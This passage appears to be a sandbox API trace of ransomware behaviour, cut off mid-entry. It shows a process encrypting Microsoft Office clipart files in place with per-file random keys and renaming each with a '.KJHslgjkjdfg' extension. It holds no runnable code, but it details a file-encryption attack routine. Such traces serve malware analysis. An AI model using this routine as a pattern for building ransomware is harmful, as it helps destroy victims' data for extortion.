hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1 [0211.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.423] GetProcessHeap () returned 0x990000 [0211.423] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.424] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.424] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0211.429] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.429] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.429] GetProcessHeap () returned 0x990000 [0211.429] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.430] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.430] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.430] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.430] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.431] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.431] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.431] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.431] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.431] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.431] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xee4a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xee4a, lpOverlapped=0x0) returned 1 [0211.433] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xee50, dwBufLen=0xee50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xee50) returned 1 [0211.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.434] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xee50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xee50, lpOverlapped=0x0) returned 1 [0211.434] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.434] SetEndOfFile (hFile=0x130) returned 1 [0211.437] GetProcessHeap () returned 0x990000 [0211.437] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.437] GetProcessHeap () returned 0x990000 [0211.437] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.kjhslgjkjdfg")) returned 1 [0211.439] CloseHandle (hObject=0x130) returned 1 [0211.439] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1 [0211.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.440] GetProcessHeap () returned 0x990000 [0211.440] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.440] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.441] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0211.443] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.443] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.443] GetProcessHeap () returned 0x990000 [0211.443] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.443] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.443] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.443] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.443] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.443] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.443] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.444] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.444] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.444] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b96, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b96, lpOverlapped=0x0) returned 1 [0211.445] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8ba0, dwBufLen=0x8ba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8ba0) returned 1 [0211.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.446] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8ba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8ba0, lpOverlapped=0x0) returned 1 [0211.446] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.446] SetEndOfFile (hFile=0x130) returned 1 [0211.449] GetProcessHeap () returned 0x990000 [0211.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.449] GetProcessHeap () returned 0x990000 [0211.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.kjhslgjkjdfg")) returned 1 [0211.451] CloseHandle (hObject=0x130) returned 1 [0211.451] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1 [0211.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.453] GetProcessHeap () returned 0x990000 [0211.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.453] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.453] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.453] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.453] GetProcessHeap () returned 0x990000 [0211.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.453] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.453] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.453] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.455] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.455] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.455] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.456] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.456] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.456] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbbe0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbbe0, lpOverlapped=0x0) returned 1 [0211.457] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbbe0, dwBufLen=0xbbe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbbe0) returned 1 [0211.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.458] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbbe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbbe0, lpOverlapped=0x0) returned 1 [0211.458] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.458] SetEndOfFile (hFile=0x130) returned 1 [0211.461] GetProcessHeap () returned 0x990000 [0211.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.461] GetProcessHeap () returned 0x990000 [0211.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.kjhslgjkjdfg")) returned 1 [0211.463] CloseHandle (hObject=0x130) returned 1 [0211.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1 [0211.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.465] GetProcessHeap () returned 0x990000 [0211.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.465] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.466] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.489] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.489] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.489] GetProcessHeap () returned 0x990000 [0211.489] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.489] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.489] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.489] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.489] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.489] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.489] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.489] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.490] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.490] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.490] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x934c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x934c, lpOverlapped=0x0) returned 1 [0211.496] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9350, dwBufLen=0x9350 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9350) returned 1 [0211.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.497] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9350, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9350, lpOverlapped=0x0) returned 1 [0211.497] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.497] SetEndOfFile (hFile=0x130) returned 1 [0211.500] GetProcessHeap () returned 0x990000 [0211.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.500] GetProcessHeap () returned 0x990000 [0211.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.kjhslgjkjdfg")) returned 1 [0211.501] CloseHandle (hObject=0x130) returned 1 [0211.501] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1 [0211.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.502] GetProcessHeap () returned 0x990000 [0211.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.503] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.503] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.519] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.519] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, 